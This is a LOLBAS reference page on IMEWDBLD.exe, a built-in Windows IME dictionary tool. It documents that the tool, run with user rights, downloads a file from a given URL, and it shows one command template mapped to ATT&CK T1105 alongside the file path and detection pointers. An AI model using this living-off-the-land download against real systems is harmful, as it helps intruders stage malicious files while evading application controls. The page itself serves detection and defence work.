LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

IMEWDBLD.exe

View source

Microsoft IME Open Extended Dictionary Module

Download
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Download1

EXAMPLE 01T1105

IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache.

COMMAND
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}
USE CASE
Download file from Internet
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Download · INetCache
02 / ON DISK

Known paths

C:\Windows\System32\IME\SHARED\IMEWDBLD.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Wade Hickey@notwhickey